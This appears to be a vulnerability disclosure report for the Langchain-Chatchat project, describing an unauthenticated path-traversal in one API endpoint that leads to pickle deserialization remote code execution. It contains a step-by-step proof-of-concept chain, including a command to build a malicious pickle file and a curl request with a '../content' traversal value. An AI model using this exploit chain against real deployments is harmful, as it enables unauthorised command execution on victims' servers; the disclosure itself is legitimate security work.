【Security Vulnerability Report】CWE-502 summary_doc_ids_to_vector_store pickle deserialization RCE (CVSS 9.8)
Security Vulnerability Report -- CWE-502
Summary
summary_doc_ids_to_vector_store pickle deserialization RCE
Vulnerability Description
Affected Repository: https://github.com/chatchat-space/Langchain-Chatchat
Branch: master
Commit: 49165d6af4438aa7e8a1f71ce276db55f4405151
summary_doc_ids_to_vector_store pickle deserialization RCE
Risk Summary: The
summary_doc_ids_to_vector_storeendpoint does not perform path validation on theembed_modelparameter. An attacker uses path traversal (embed_model=../content) to redirect the FAISS vector store loading path to a maliciousindex.pklfile, combined withFAISS.load_local(allow_dangerous_deserialization=True)triggeringpickle.loadto execute arbitrary commands.Affected Interface:
POST /knowledge_base/kb_summary_api/summary_doc_ids_to_vector_store(port 7861)
Exploitation Conditions: Exploitable with default configuration, no authentication required; the target knowledge base must have a content directory (default KB creation includes one)
Known Status: Unknown: No CVE, public article, Issue, or security community discussion found regarding Langchain-Chatchat's
embed_modelpath traversal triggering pickle deserialization RCE via this specific pathExploit PoC:
Usage:
./poc/exploit_entry_020_pickle_rce.sh <target> <kb_name> [cmd]
./poc/exploit_entry_020_pickle_rce.sh http://127.0.0.1:7861 samples "touch /tmp/entry020_rce"Exploitation chain step by step:
# Step 1: Generate malicious index.pkl (__reduce__=os.system) + legitimate index.faiss (4-dimensional IndexFlatL2) inside container
docker exec chatchat-local python3 -c "import pickle,faiss; pickle.dump(...); faiss.write_index(faiss.IndexFlatL2(4),'index.faiss')"
# Expected: index.pkl + index.faiss placed in KB content directory
# Step 2: POST summary_doc_ids_to_vector_store, embed_model=../content path traversal
curl -s -X POST http://127.0.0.1:7861/knowledge_base/kb_summary_api/summary_doc_ids_to_vector_store \
-H "Content-Type: application/json" \
-d '{"knowledge_base_name":"samples","embed_model":"../content","summary_doc_ids":["x"]}'
# Expected: HTTP 200, FAISS.load_local(allow_dangerous_deserialization=True) reads index.pkl -> pickle.load -> os.system(cmd)
# Step 3: Verify marker file exists
docker exec chatchat-local test -f /tmp/entry020_rce && echo "RCE OK"
# Expected: RCE OK <- pickle deserialization command executedNote: FAISS first load_local failure holds a cache lock; need to docker restart chatchat-local before re-running.
Severity
CVSS v3.1: 9.8 (Critical)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
Source: chatchat-space/Langchain-Chatchat